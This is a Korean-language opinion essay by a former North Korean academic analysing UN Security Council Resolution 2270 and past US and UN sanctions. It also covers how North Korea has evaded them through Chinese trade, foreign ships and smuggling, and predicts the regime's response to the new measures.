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새로운 안보리 결의안 2270호와 북한의 대응전략

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    새로운 안보리 결의안 227
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    • 17-06-27 14:00

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새로운 안보리 결의안 2270호와 북한의 대응전략
                김흥광 (전 북한 공산대학 교수)
유엔안보리는 3월 2일, 15개 이사국 전원 찬성으로 북한의 핵무기 개발 자금을 차단하는 대북 제재 결의안 2270호를 통과시켰다. 이번 결의안은 북한으로 유입되는 자금, 무기, 광물 등을 선제적으로 차단하기 위해 필요한 조치들이 포괄적으로 담겼다. 새 결의안은 북한을 오가는 모든 선박에 대한 검색을 사실상 의무화했다. 중국은 초강경 대북제재안에 반대할 것이라는 예상을 깨고 대승적으로 미국과 유엔안보리의 대북제재안에 동참함으로써 한반도비핵화를 실현하려는 유엔 및 국제사회의 일치한 공감대는 강력하게 구축되게 되었다. 이번에야 말로 미국과 안보리가 국제사회의 일치한 행동을 이끌어 내어 북한이 핵·미사일 야망을 포기하도록 실효적인 대북한 경제제재와 압박을 이뤄낼 수 있을가? 세간의 관심이 드높아지고 있다. 그런데 결론부터 말하면 쉽지는 않을 것이다. 이번 결의안은 제재강도는 가장 높은 수위이지만 북한의 통치효율성은 매우 높기 때문에 경제적인 압박만으로 항복을 받아내기는 쉽지 않다는 것이 주요 근거이며, 북한은 이번에도 유엔의 경제제재를 무력화시키고, 체제유지를 위한 재원을 불법적으로 어떤 방법으로든 조달하기 위한 권모술수를 다 쓸것이 뻔하기 때문이다. 따라서 지금까지의 유엔과 미국의 대북경제제재조치들을 개요해보고 이에 대한 북한의 대응태도와 수법들을 토대로 이번에 마련된 초강력 대북한 유엔 결의안의 효용과 작동 행방에 대하여 살펴보려고 한다.  

유엔과 미국의 대북경제제재조치 개요

유엔차원에서 북한의 핵과 미사일개발을 중지시키기 위한 안보리활동은 2000년이후에 시작되었다. 그러나 미국의 대북경제제재조치는 수 십년 전부터 계속되어 오고 있다. 그 기본방향은 ① 북한상품의 수입제한, ② 미국상품의 대북 수출통제, ③ 대북 민간투자의 제한, ④미국내 북한자산의 동결, ⑤ 북한에 대한 경제적 지원 및 원조제한, ⑥ 국제금융기관의 대북 지원 제한, ⑦ 북한과의 무기거래 및 군수산업관련 전략물자에 관한 수출입금지를 통한 전쟁방지, 대량살상무기의 개발을 원천적으로 금지시키는 것이다.
첫재, 북한상품의 수입을 제한시켰다. 미국은 적성국 교역법 및 해외자산통제규정, 통상법, 무역협정연장법에 의거하여 북한상품의 미국시장 반입에 대한 규제하였는데 여기에는 포괄적 경제봉쇄의 일환으로 적용되는 수입의 제한조치와  최혜국(Most Favored Nation : MFN) 대우의 적용 배제, 일반특혜관세제도(Generalized System of Preferences: GSP)의 적용배제가 포함되어 있다. 다음으로 해외자산관리국(Office of Foreign Asset Control : OFAC)은 북한으로부터 수입되는 모든 품목에 대해 적성국 교역법의 시행령인 해외자산 통제규정을 적용하여 북한으로부터의 수입을 건별로 사전 승인하여 사실상 금지시키는 조치를 지속해 오고 있다. 이와함께 북한산 상품에 대해서는 최혜국 대우와 특혜관세의 적용을 배제하여 고율의 세율을 적용하여 사실상 수입을 불허하고 있고 대북한 금융거래와 관련해서도 북한 내 거주자에 대한 생활비, 북한여행과 관련된 최소비용, 정보수집을 위한 자료의 반입과 관련된 비용지불 등에 한해서만 허용하고 있어 북한의 불이익은 결코 작은 것이 아니다.

둘째, 미국상품의 대북 수출을 통제하였다. 미국은 수출관리법 및 수출관리규정(Export Administration Regulat ion), 적국교역법 및 해외자산통제규정, 핵무기확산 금지법(Nuclear Non-Prolife rationAct) 등 법에 의거하여 대북 수출을 극력 제한하였다. 결국 테러지원국, 적성국, 인권침해 국가로 지정된 북한에 대한 수출을 포괄적으로 통제하였는 바, 상무부 산하의 수출관리국(Bureau of Export Administration)은 수출관리법과 관련 규정에 의거하여 선별적으로 대북한 수출을 허용하는 제도를 설치하였는데, 실지로 미국은 북한에 대한 미국의 수출은 식량을 포함한 민간의 기초생필품 및 인도적 차원의 상품에 국한하여 허용하였고 또 일정규모 이상은 통제 해왔다.

셋째, 대북 민간투자를 철저하게 불허하였다. 미국은 적성국 교역법 및 해외자산통제규정, 수출관리법 및 수출관리규정(Export Administration Regulation) 등에 의거하여 미국의 국부가 북한에 흘러들어가 그들의 경제발전에 직간접적으로 도움을 주지 못하도록 조치를 강구했다. 결국 해외자산통제규제에서 적성국가인 북한에 대한 투자나 금융거래를 금지되었다. 다만, 2000년 제재 완화로 광업, 석유 등 인프라와 관광분야 등 일부 부분에서는 원칙적으로 투자가 가능하게 된 적은 있었다. 동시에 수출관리법 및 규정에서 대량살상무기로 전용될 수 있는 민간품목에 대해서는 수출금지가 엄격하게 취해졌다. 대북 투자를 위한 설비투자가 제한할뿐아니라 기업이 적성국인 북한에 대한 투자에서 발생한 소득에 대해 조세상의 불이익을 당하여 투자를 포기하도록 유도하였다.

넷째. 미국내 북한의 자산을 동결시켰다. 미국은 적성국교역법 및 해외자산통제규정
에 의거하여 미국내에서부터 북한의 자산을 동결시키고 그 범위를 다른 나라로 확대함으로써 북한의 경제적 거래 공간을 축소시켜 불이익을 실감하게 하도록 하였다.  이를 위해 해외자산관리국(OFAC)은 관련규정 및 행정명령에 따라 적성국가인 북한의 미국 내자산부터 전면 동결하였다.

다섯째,  북한에 대한 경제적 지원 및 원조를 제한하였다. 미국은 대외원조법, 수출입은행법, 적성국교역법에 의거하여 북한의 경제발전에 필요한 재원을 외부의 지원을 통해 해결하는 데 제동을 걸었다. 이를 위해 적성국가인 북한에 대한 미국수출입은행의 여신제공 금지, 테러지원국이며 인권침해국가인 북한에 대한 정부차원의 원조제공 금지하였다. 또한 수출입은행법에 의거, 대북 거래에 대한 수출입은행의 보증·대출 제공도 금지하였으며 미국의 대외지원을 관장하는 미국국제개발처(USAID)는 대외지원법에 따라 테러지원국이며 인권침해국가인 북한에 대한 지원을 금지하였다. 다만, 인도주의적 지원의 경우에는 행정부의 결정에 의해 지원가능하도 숨통을 약간 열어 두었다.

여섯째, 국제금융기관의 대북 금융지원 극도로 제한 시켰다. 미국은 국제금융기관법
등에 의거하여 북한의 대외 금융거래와 외화 세탁, 은닉을 못하도록 하는 데 초점을 두었다. 결과 국제금융기구가 인권침해국가나 테러국가에 대한 금융을 제공할 경우, 국제금융기관의 미국 집행이사들은 대출이나 금융지원 및 기술지원의 연장에 의무적으로 반대해야 하는 제도를 만들어졌다.2005년 BDA사건은 바로 미국의 국제금융기반법을 발동하여 방코델타 아시아 은행에 예금한 북한의 자금을 동결시켰다가 나중에 풀어준 대표적인 사례이다.

일곱째, 북한과의 무기거래 및 군수산업관련 전략물자에 관한 수출입금지시켰다. 미국은 수출관리법 및 수출관리규정(EAR), 무기수출통제법, 핵무기확산 금지법에 의거하여 북한의 군사력증강을 막고 지속적으로 약화시키기 위해 노력해왔다. 미국 핵, 미사일, 생화학 등 대량살상무기 뿐만 아니라 군사적 용도로 전용될 수 있는 민수용품목(이중용도품목 ; Dual Use Items)의 북한에 대한 수출을 금지시키는 전력을 다하고 있다.

미국수출관리규정(EAR)에 따르면, 원산지가 미국인 품목이거나 수출품목(상품, 기술, 소프트웨어 포함)의 최종 가격 대비 미국 품목의 가치가 10% 이상인 경우, 수출 당사자및 수출과 관련된 운송업자까지 제재하게 되어있다. 만일 수출관리규정을 위반한 사실이 확인될 경우, 20년 이하의 수출권 박탈 또는 대미 수출제한 등의 제재가 가해진다. 물론 수출관리규정은 미국의 국내법에 따른 제재이지만, 미국에 수출하는 대부분의 기업에게 적용되므로 실질적으로는 한국기업을 포함하여 국제적 영향력을 가지고 있다고 볼 수 있다.

한편 “Globel Zero” 및 한반도 비핵화를 강력하게 희망하고 있는 유엔은 북한이 핵실험을 하고, 장거리로켓을 발사 할 때마다 한 단계씩 강화되는 대북제재 결의안을 발동하였다. 이를 통해 북한으로 하여금 모든 핵무기와 핵프로그램의 완전하고검증 가능하며 불가역적인 폐기, 모든 관련 활동의 즉각적 중단, 탄도미사일 기술을 이용한 모든 시도 및 핵실험 금지를 촉구하고 있다. 였다. 2013년 북한이 제3차 핵실험을 감행했을 때에도 안보리 결의 2087호를 채택하였다. 이를 통해 안보리는  2012년 12월 북한의 장거리미사일에 대응한 안보리 결의 1718호 및 1874호를 또다시 위반했음을 명시하고, 탄도미사일 프로그램과 관련된 모든 행위를 중지할 것을 촉구하였다.

결의는 이어 기존의 1718호와 1874호의 제재 범위를 확대·강화하고 2012년 장거리 로켓발사를 주관한 조선우주공간기술위원회, 북한의 무기관련 거래에 관여한 동방은행 등 기관 6곳과 우주공간기술위 위성통제센터 백창호 소장과 서해위성발사장 총책임자 장명진 등 개인 4명을 제재 리스트에 추가하였다. 이들 개인 및 기관에 대해서는 여행 제한과 자산 동결을 명시하였다. 유엔 안보리는 북한의 핵개발 및 탄도미사일 기술개발에 대해 기존의 결의 위반사항을 지적할 뿐만 아니라 6자회담 지지, 9·19 공동성명 이행 등 한반도의 평화와 안정 및 비핵화에 대한 강력한 의지를 재확인하였다. 마지막으로 안보리는 북한의향후 행태에 따라 ‘중대한 조치(significant action)’를 취할 수 있다고 경고함으로써, 단순한 제재강화에 그치지 않고 향후 북한의 핵·미사일 도발에 대한 예방적(preventive) 차원의 대응이라는점을 분명히 하였다.

북한의 대응과 제재 회피전략  

한편 북한은 매 번 유엔안보리 대북제재 결의를 견결히 반대하면서 안보리결의안을 휴지쪼각으로 대했고, 유엔안보리 상임이사국들을 허수아비로 매도했다. 특히 북핵·장거리로켓은 미국의 해묵은 대북압살정책의 결과라는 레파토리를 반복하기만 하였다. 심지어 안보리 결의안에 찬성한 중국을 항해 서는 ‘세계에 공정한 질서를 세워야 할 큰 나라들까지 제정신을 차리지 못한다’고 맹비난하였다. 그러면서 유엔의 그 어떤 제재도 끄떡없이 자력갱생으로 강성대국을 건설한다고 하면서 완강하게 맞섰다.

일례로 2013년 1월 북한은 2012년 12월 미사일 발사에 대응하여 발동된 안보리 결의 1874호가 통과된 직후, 외무성 성명(1.23)을 통해 강력히 반발하였다. 북한 외무성은“핵 억지력을 포함한 자위적인 군사력을 질량적으로 확대·강화하는 임의의 물리적 대응 조치들을취하게 될 것”을 경고하며, 2006년과 2009년에 이은 세 번째 핵실험 가능성을 시사하였다. 또한“미국의 가증되는 대조선 적대시 정책으로 6자회담, 9·19 공동성명은 사멸되고 조선반도 비핵화는종말을 고했다”고 지적하며, 향후 “조선반도 지역의 평화와 안정을 보장하기 위한 대화는 있어도 조선반도 비핵화를 논의하는 대화는 없을 것”이라고 언급했다.

또한 북한은 다음날 이어진 국방위원회 성명(1.24)을 통해서 더욱더 위협적 공세를 강화하였다. 국방위 성명에서는 “전면대결전에서우리가 발사하게 될 위성과 장거리로케트도 우리가 진행할 높은 수준의 핵시험도 미국을 겨냥하게된다는 것을 숨기지 않는다”고 밝힘으로써 이번의 안보리 결의가 단순히 국제사회 차원의 대북제재가 아닌 미국의 대북 적대시 정책에 보다 크게 기인한다는 북한의 인식을 분명히 드러내었다.조국평화통일위원회도 성명(1.25)을 통해 한국의 유엔 제재 참여 관련, “강력한 물리적 대응조치를취할 것”을 경고하였다.

이러한 북한의 반응과 그에 따른 회피전략은 다음의 두 가지로 분석해 볼 수 있다.첫째, 소위 ‘더 쏀 맞받아 치기’로 대응하는 것이다. 새로운 유엔 결의가 나올 때마다 북한은 자숙한 것이 아니라, 오히려 더 높은 수준에서의 핵실험과 미사일발사를 선포하고 나섰고, 그것을 끝긑내 보여주었다. 김정은정권에 들어 북한의 이러한 맏받아치기 행태는 더욱 우심해졌는데 일례로 2012년 4월의 로켓발사 실패 이후 12월의 은하 3호 발사 성공 관련, 내부적으로 김정은 체제의 업적으로 강하게 선전하였다.

김정은이 김정일의 ‘선군정치’ 지속·유지 및 발전이라는 향후 과제와 인민생활향상으로 대변되는 ‘선경정치’ 사이의 딜레마에 직면해 있다는 관점에서, 핵 및 미사일 카드를 활용한 외부위협 증대 및 내부단결 강화는 결코 쉽사리 포기할 수 없는 전략일 것이다. 올해 들어와 감행한 연인은 핵실험 및 미사일 발사도 이러한 북한체제의 딜레마를 극명하게 보여주었으며, 당 제7차대회를 앞두고 자신의 독재기반을 그 어느 때보다도 공고화하려는 야욕에서 비롯된 것이라 하겠다.

둘째, 공세적 비핵화 담론을 제기하군 하였다. 북한은 안보리 결의안이 나올 때마다 모든 책임을 미국과 유엔안보리에 돌렸으며 한반도 비핵화의 전면배격 및 평화체제 논의 강화 전략으로 맛섰다. 북한은 이미 2009년의 2차 핵실험 이후 공공연히 ‘핵보유국’임을 주장해 왔다. 올해 들어와 북한은 소위 ‘수소탄’이라는 기만적인 핵카드까지 사용하고나서는 미국과 동등한 입장에서 비핵화를 위한 회담이 아닌 핵 군축 회담을 하자고 제안하기까지 하였다.

또한 지난 2월 북한을 방문한 우다웨이 중국특별사무대표에게 한반도 평화체제 구축이 없이는 핵 및 미사일문제는 해결될 수 없다고 오금을 박았다. 중국이 대승적 차원에서 안보리의 새로운 대북제제결의안에 편승해 나선 것은 우다웨이가 북한방문에서 받은 ‘강력한 비핵화 반대’강변과 무관하지 않다. 즉 중국은 자신들의 힘과 능력만으로는 날고 심각하게 받아들여지고 있는 자국에 대한 북한의 ‘핵공격’위협에서 자유로워질 수 없다는 현실적 중압감을 느꼈던 것이다.

이러한 관점에서 북한은 한반도 비핵화에 대한 논의의 가능성은 배제하지만 한반도의 평화와 안정을 위한 대화는 가능하다는 점을 부각시킴으로써현 정전체제를 평화체제로 바꾸어야 한다는 선(先) 평화협정의 관점을 재차 강조한 것으로 풀이된다. 이러한 점은 위에서 언급된 외무성 성명과 국방위 성명 공히 ‘비핵화’ 논의의 가능성을 부정한것과 성명의 주요 대상이 미국을 직접 겨냥한 것에서 더욱 분명해진다. 평화협정 체결을 선행하자는 북한의 흉계는 뻔하다. 평화협정을 통해서 주한미군을 철수시킨 다음, 국제사회로부터 대규모 경제적 보상을 받으려 한다. 그리고 나서 핵을 ‘철폐’가 아닌, ‘동결’ 시키고, 높아진 국력을 토대로 남한을 마음먹은 대로 주물러 대며 남남갈등을 고조시키고 친북정권을 세운 다음, 결국 인민민주주의에 의한 전국통일을 실현하겠다는 야망을 숨기고 있다.  

안보리 대북제재 결의안의 실효성

그렇다면 북한이 유엔안보리의 대북제재결의안을 대수롭지 않게 여길만큼 안보리의 경제제재조치가 실효적이지 않았던 것일까? 결론부터 얘기한다면 예스이다. 더 정확히 말하여 안보리 결의안은 결코 빈약하지 않았고 또 북한의 군사력증강과 경제적 지반을 약화시키는 데서 커다란 역할을 놀았다. 하지만 안보리결의안에는 북한이 제재를 피해갈 수 있는 구멍들이 더러 있었으며 또 북한은 단계적으로 강화되는 안보리 결의안에 면역력을 함께 키워갔기 때문에 북한을 완전히 제압하는 데서 한계를 노출시켰던 것이다.
 
구체적으로 보면 북한이 1993년에 핵확산방지기구(NPT)를 탈퇴하면서 유엔은 결의안 825호를 시작으로 2013년 3월 7일 2094호까지 총 6번의 결의안이 발동하였지만 결국은 북한의 핵개발과 장거리미사일발사를 멈추지 못했고, 북한 체제의 질적 변화를 가져오기 위한 유종의 효과를 거두는 데 실패하였다. 실제로 북한은 유엔안보리의 대북경제제재에 별다른 영향을 받지 않고 핵 능력을 꾸준히 키우며 올해 초 핵실험과 장거리 미사일 발사를 재차 강행했다. 오히려 북한은 중국과의 교역을 확대하면서 남북 교역 감소로 인한 손실을 뛰어넘는 수익을 확보했다. 지난 2013년 이후 북한 대외거래에서 중국이 차지하는 비중은 90%까지 급증하였으며 대(對)중국 무연탄 수출을 통해 15억딸러의 석탄거래량을 달성하였다.
안보리결의안의 대북제재효과가 이렇게 예상보다 저조한데는 다음과 같은 원인이 있다고 하겠다. 첫째로, 지금까지의 안보리 대북제재안은 실질적인 대북제재보다는 선언적인 대북제재에 초점을 맞추다보니 북한이 빠져나갈 우회로가 많았다. 유엔 안보리는 대북제재결의를 통하여 북한의 핵 및 미사일개발능력을 저하시킬 수 있는 주요 경제명맥들에 대한 옥죄이기를 실시하기는 하였지만 체제자체가 붕괴되는 것을 목표로 하지는 않았다. 다만 북한이 경제제재의 어려움을 해소하기 위하여 핵과 미사일개발을 포기할 것을 기대했던 것이다.

둘째, 안보리결의안들은 북한의 핵·미사일개발이나 전파를 막기 위한 유엔회원국들의 활동을 조건적으로 명시하였기 때문에 강력한 경제제제를 실현하는 한계가 있었다. 예를 들어 2013년 3월에 발동된 안보리결의안 2087는 기존의 안보리결의안들에 추가적으로 ‘대량살상무기 선적 의심 선박에 대하여 검역 및 수색’하며 또한 오션마리타임매니지먼트 소속 32개 선박에 대해서만 선택적인 검역‘항목을 추가하였지만 북한배가 대량살상무기를 선적했다는 확실한 증거를 제출하지 않으면 강제적인 검역이 사실상 불가능하거나 북한이 불법거래에 사용하는 배를 다른 선박회사의 배를 바꾸어 사용함으로써 안보리 제재를 용이하게 회피할 수 있었다.

셋째, 대북제재에서 ‘제3국 효과’는 피할 수 없는 골칫덩어리였다. ‘3국 효과’는 ‘안보리 이사을 비롯한 유엔회원국들의 동참이 저조하기 때문에 발생하는 현상이다. 유엔회원국들마다 자기의 이해관계와 입장에서 북핵·미사일 문제를 바라보다보니 글로벌 비핵화나 지역평화보다는 자국의 이해타산을 우선시하다보니 안보리 결의안을 난폭하게 위반하면서 북한과 돈벌이아 경제거래를 계속하였다. 안보리상임이사국인 중국과 러시아가 바로 그랬다. 그러니 북한은 안보리에서 아무리 강력한 조치들이 추가되어 나오더라도 얼마 지나지 않아 제도룩묵이 된다는 사실을 알아차리고 거리낌 없이 안보리의 결의안을 조롱했던 것이다.

넷째, 북한은 안보리 결의안을 물타기하기 위하여 온갖 꼼수로 ‘뒷 문’을 만들어 활용하였기 때문에 안보리 제재의 효과적으로 작용하기 어려웠다. 북한에 대한 제재는 2000년대부터 유엔 안보리 차원이든, 주변국의 독자적 차원이든 계속 이어졌다. 유엔 안보리는 북한이 핵실험과 미사일 도발을 감행할 때마다 제재 결의를 채택하며 무기금수 등 직접적으로 연관된 교역과 거래 차단에 집중했다. 그러나 북한은 이에 별다른 영향을 받지 않고 핵 능력을 꾸준히 키우며 올해 초 핵실험과 장거리 미사일 발사를 재차 강행했다. 독자적 대북제재로는 한국 정부의 5·24 대북제재 조치가 대표적이다. 정부는 지난 2010년 천안함 침몰 사건 이후 5·24 조치를 단행, 남북 간 교역을 중단했다. 북한에 경제적 타격을 주기 위해서였다.

그런데 북한이 유엔안보리결의안을 자세히 분석하고나서는 공식적으로는 철저히 막혀있는 ‘앞문’을 사용하지 않고, 자유롭게 국제사회와 거래하여 돈벌이와 필요한 물품구입을 계속할 수 있는 ‘뒷문’을 만들어 활용하였다. 그 ‘뒷문’은 중국을 통하여 열려졌고, 다른나라 선박으로 연결되었다. 북한은 공개적인 석탄·광물 거래와 같은 경제거래는 중국쪽의 ‘뒷문’을 활용하였고 대량살상무기와 같은 불법거래는 나른 나라 선박을 이용하는 ‘뒷문’을 사용하였다. 이러한 ‘뒷문’이 상존하는 한 아무리 안보리가 강력한 대북제재안을 마련하여도 그것은 용을 쓸 수 가 없었던 것이다.

하지만 이러한 주변국의 기대와 바람에도 불구하고 북한이 지속적으로 벼랑끝 외교를 추구한다면,동북아 안보환경은 악화될 수밖에 없다. 우리 정부는 주변국과의 공조 속에 남북대화의 주도권을거머쥐고, 변화하는 안보환경에 면밀히 대처해야 할 것이다. 무엇보다 북한이 향후 핵실험을 감행할 경우 얻는 것 보다는 잃는 것이 더 많을 것이라는 점을 여러 채널을 통해서 적극적으로 설득하는 선제적(proactive) 전략이 가장 중요할 것이다. 북한은 ‘비핵화’ 논의 자체를 제외한 ‘한반도의평화와 안정’을 위한 대화는 응하겠다는 뜻을 분명히 하였다. 북한의 이러한 입장은 자기에게 유리한 협상을 위한 전술적 측면임을 명확히 파악해야만 한다. 그러나 북한의 전술적 모순의 틈을 잘짚어 북한의 위협을 근원적으로 차단할 수 있는 유관국 간 정책공조의 틀을 더욱 확고히 구축하는발판으로 삼아야 할 것이다.

새로운 안보리 대북제제안과 북한의 ‘뒷문’만들기

2016년에 감행한 북한의 핵·미사일 도발과 관련하여 취해질 이번 결의안은 북한으로 유입되는 자금, 무기, 광물 등을 선제적으로 차단하기 위해 필요한 조치들이 포괄적으로 담겼다. 새 결의안은 북한을 오가는 모든 선박에 대한 검색을 사실상 의무화했다. 다시말해서 '의심 정보'만으로도 모든 회원국이 영해에서 북한 선박을 검사할 수 있도록 한 것이다. 또한 북한의 대표적 교역물품인 석탄을 포함해 철, 금, 희토류 등의 북한 수출을 금지했다. 여기에다 안보리 차원에서의 금융제재도 강화, 북한 은행과 북한 내 해외 은행의 계좌를 동결하는 조치 등을 마련한 것으로 전해졌다. 항공유와 로켓연료가 북한으로 들어가는 것을 봉쇄하고, 핵과 미사일 개발에 연루된 개인 17명과 12개 단체를 제재 대상에 새롭게 포함했다. 북한의 정찰총국과 원자력공업성, 국가우주개발구 등이 포함된 것으로 알려졌다. 서맨사 파워 유엔주재 미국 대사는 새 결의안에 대해 "20여년 만에 가장 강력하고 포괄적인 안"이라고 평가했다.

이번 새로운 안보리결의안에 대한 국제사회의 공감대는 매우 높다. 서맨사 파워 유엔주재 미국 대사는 새 결의안에 대해 "20여년 만에 가장 강력하고 포괄적인 안"이라고 평가했다. 유엔 안보리에서 상임이사국과 비상임이사국들은 결의안 초안을 회람하고나서 이번 결의안은 전쟁과 침략을 제외한 제재로는 가장 강력한 수준이라는 평가까지 하였다. 그만큼 이번 결의안은 북한으로 유입되는 자금, 무기, 광물 등을 선제적으로 차단하기 위해 필요한 조치들이 포괄적으로 담겼다. 기존의 대북제재 조항도 '촉구' 등의 권고에서 '의무' 수준으로 강화시킨 것으로 알려졌다. 
그러면  이번에도 북한은 온갖 술수와 궤책을 다하여 ‘뒤문’을 만들어 과거처럼 자유자재로 국제거래를 실현, 핵과 미사일개발을 계속할 수 있을가? 결론부터 말한다면 북한은 사면초가은 총체적 파국에 직면할 것이고 북한의 핵과 미사일개발에 제동이 걸릴 것이다. 하지만 예상한 기대효과가 100% 나올지 변수들도 더러 있다. 새로운 안보리결의안은 종래 북한이 교모하게 활용하던 모든 ‘뒷문’을 모조리 찾아 단속하여 놓았지만 새로운 결의안을 실천하는 과정에 유엔 회원국들이 얼마나 원칙적인 의지를 가지고 재체조치를 이행하는 가에 따라 ‘뒷문’이 통하지 않을 수도 있고, 형식적으로 단속될 수도 있기 때문이다. 그밖에도 북한이 어떤 궤책을 가지고 나올지는 100% 예상할 수는 없기 때문이다.

하지만 분명한 것은 이번 안보리 결의안은 북한의 숨통을 확실하게 조일 수 있는 필요충분한 레버리지 조건들을 갖추고 있어 김정은과 군부, 그리고 고위층을 비롯한 북한의 상부구조와 경제시스템 전반에 총체적 위기를 초래하게 할 것이라고 확신한다. 왜냐하면 이번 안보리 결의안에는 북한이 아무리 잔재간을 부려도 피할 수 없는 요지부동의 핵심 경제제재 요인들이 있다. 그것은 첫째, 이번 안보리제재에는 종래  경제제재조치들을 무력화시키는 데서 일등공신이었던 ‘제3국 효과’를 유발하는 주되는 원인 제공자였던 중국이 적극적으로 협력하고 있기 때문에 지금까지의 어떤 결의안보다도 빈틈없고 확실하고 취해나갈 수 있을 것으로 예상된다.

둘째, 이번 안보리결의 이행과 함께 한국, 일본, 유럽연합 등 각 국의 독자적인 제재조치가 동시적으로 취해지게 되면 과거와는 전혀 다른 시너지 강력 효과를 유발함으로써 북한에 주는 압박을 극대화할 수 있는 가능성이 높다.

셋째, 북한이 외화벌이의 90%를 차지하는 석탄과 유색금속 거래까지 드디어 원천   차단하고 있기 때문에 김정은의 통치자금을 고갈시켜 김정은 측근관리의 핵심을 이루는 ‘금권정치’,‘선물정치’,‘파티정치’를 어렵게하며 결과 그의 독재통치에 엄청난 균열을 내고 심각하게 부식시킬 수 있다고 전망한다.

넷째, 이번 새로운 안보리 결의안이 완전하게 실행되면 모든 회원국들이 북한의 대량살상무기반출 반입, 불법거래, 그리고 은닉 통치자금을 적발하고 제재하기 위한 공동의 노력에 동참하게 되기 때문에 전세계적 범위에서 북한의 팔과 다리, 몸통을 붙들어매고 나쁜 짓거리를 못하도록 옥죄는 협력적인 결과를 이뤄낼 수 있을 것으로 내다 보게 된다.

다섯째, 국제사회의 초강력 경제제재조치가 시작되면 북한의 중산층과 바닥층 주민들의 생계가 금세 어려워 질 것이다. 이러한 불행이 왜 자신들에게 들씌워지는 가를 알게만 된다면 그들은 주민들의 생명과 생활을 중심에 놓고 유엔안보리의 원칙적인 요구를 받아들일 대신, 김정은은 근거도 없는 배짱으로 부리면서 안보리 결의안을 조롱하고 협박하고 거부한 댓가가 얼마나 어리석은 짓인가에 대하여 성토의 목소리가 높일 것이다. 결국은 김정은이 있는 한 결코 벗어날 길 없는 북한의 심각한 경제난, 생계난을 극복하는 유일한 길은 김정은을 제거하든지 아니면 김정은의 국민이기를 그만두는 길뿐이라는 사실을 잘 알고, 행동으로 나 설 가능성이 너무 높다.

그럼에도 불구하고 김정은은 지금까지 유엔 안보리 결의를 무력화시켰던 온갖 권모술수와 흉계를 다하여 끝까지 안보리 비핵화요구를 정면 도전하면서 핵과 미사일개발을 계속해 나가려고 획책할 것이다 북한이 안보리제제를 무력화시키기 위하여 시도할 수 있는 궤책들은 다는 예상할 수 없지만 대체로 다음과 같은 것들에 주목할 필요는 있다. 첫째, 북한은 지금까지 상투적으로 써 오던 “뒷문활용‘‘공작에 계속 매달 릴 것이다. 북한은 새로운 안보리결의안이 마련되는 초기 단계에서 중국이 북한의 숨통을 조이는 어떤 제재에도 동참하기를 꺼리는 상황들을 지켜보면서 이번에도 ’중국통 뒷문‘을 활용하면 어떠한 수준의 안보리 결의안이 나오더라도 무력화 시킬 수 있을 것으로 타산했을 것이다. 하지만 중국의 입장이 급선회하여 미국과 협력하는 바람에 기대 상황은 바뀌었고, 러시아가 새로운 안보리결의안을 승인하는 순간부터 북한으로 굴러 떨어지는 제재라는 큰 바위는 피할 길이 별로 없음을 간파한 순간부터 굉장한 압박을 받았을 것이라고 확신한다.

그래서인지 29일부터는 안보리제재에 대하여 일언반구도 없던 북한이 드디어 정신불안 중세를 나타내기 시작하였다. 북한의 관영 조선중앙통신은 논평에서 북한은 29일 유엔 안전보장이사회(안보리)의 대북제재 결의 추진에 대해 "자주권에 대한 난폭한 침해이며 엄중한 도전"이라고 강력하게 반발했다. 또 같은 날, 북한의 해외 매체인 재일본조선인총연합회 기관지 조선신보도 '메아리' 코너에 실은 글에서 안보리 결의안에 대해 "자주권에 대한 엄중한 침해 행위"라고 맹비난하였다. 북한은 불안하기 시작하였다.

왜냐하면 그들이 타산해보다도 과거와 달리, ’중국통 뒷문‘을 활용할 수 없다면 떨어지는 뭇매를 맞을 수 밖에 없다는 사실을 너무도 잘 알고 있기 때문이다. 그렇다고 다른 나라의 배를 빌려 불법거래를 자행하던 ’바닷길 뒷문‘이나, 항공기를 이용해 하던 ’하늘길 뒷문‘도 이번 제제조치에서는 무용지물일 것 같다. 따라서 북한은 다행스럽게 ’생계형 무역‘통로는 차단되지 않은 상황을 잘 이용하여, 중국과의 빅딜, 혹은 협박을 통하여 아주 좁은 ’통로‘를 야금야금 넓혀가면서 조여오는 숨통이라도 터 놓을 궤책을 짜고 있을 것이다.

둘째, 북한은 유엔의 고강도 대북제재를 견딜 새로운 대안으로서 북중간, 북러간 밀수통로를 대재적으로 개척하려 할 것이다. 1990년대 중반에 초래되었던 ‘고난의 행군’시기에 북한은 북중국경에서 밀수를 통하여 필로폰 마약과 수퍼노트등 불법거래를 성사시켰으며 이 과정에 많은 딸러를 벌어 김정일의 통치자금으로 충당하였다. 이 시기, 북한이 특수부대 요원들까지 동원하여 러시아의 조폭들과 마약밀거래는  했던 사실은 잘 알려져 있다. 김정은마저도 호화사치를 마음 껏 누릴 수 없을 정도로 일체의 사치품 조달을 강력하게 금지하고 있는 새로운 안보리 제재를 놓고 볼 때, 북한은 대부분 밀수나 외국의 조폭조직에게 프리미엄을 주고 구입통로를 개척할 가능성이 커지고 있다.

셋째, 새로운 안보리 제제에 직면한 김정은의 고민은 무엇보다도 130여만명의 북한군인들에게 먹일 식량과 피복, 장구류를 어떻게 보급할 것인가에 집중되어 있을 것이다. 최소한의 한계에서 가까스로 유지해가고 있는 북한군의 보급실태가 더 이상 나빠지면 결국은 부대 탈영과, 생존을 위해 야기되는 군인들의 노략질과 보급물자의 경쟁적인 약취, 군간부들의 비행이 엄중한 수준에서 벌어질 것은 불보듯 뻔한 것이다. 이를 막을 수 있는 방도는 총칼밖에 없지만 그것도 언제까지는 가능한 것은 아니다.

지금까지 군대가 석탄을 판 돈으로 군복을 만드는 데 필수적인 목화와 비날론 강력사를 사들여왔다면 새로운 안보리 대북제재가 시작되면 북한군인들은 군복을 기워입어야 할 처지가 되며 이것은 북한에 ‘장마당 세대’로 특징짓는 대부분의 북한병사들에게 어떻게 받아들여 질 것인가는 겪어보지 않고는 모를 일이다. 따라서 김정은은 모든 외화를 긁어모아 군인들의 피복과 보급물자를 위한 생산재를 사오는 데 집중할 수밖에 없다. 다행히 보급물자를 위한 생산재는 잘 포장하면 ‘생계형 거래’에 포함시킬 수 있다고 타산할 것이다. 하지만 1년가 벌어들이는 토탈 달러의 총액이 전년 대비 1/10 아니, 수십분의 일도 안 될 것이 뻔하니 군사분야 말고 다른 분야들은 어떻게 현상이라도 유지할 것인지, 김정은의 속마음은 까많게 재가 타 들어갈 것이다.

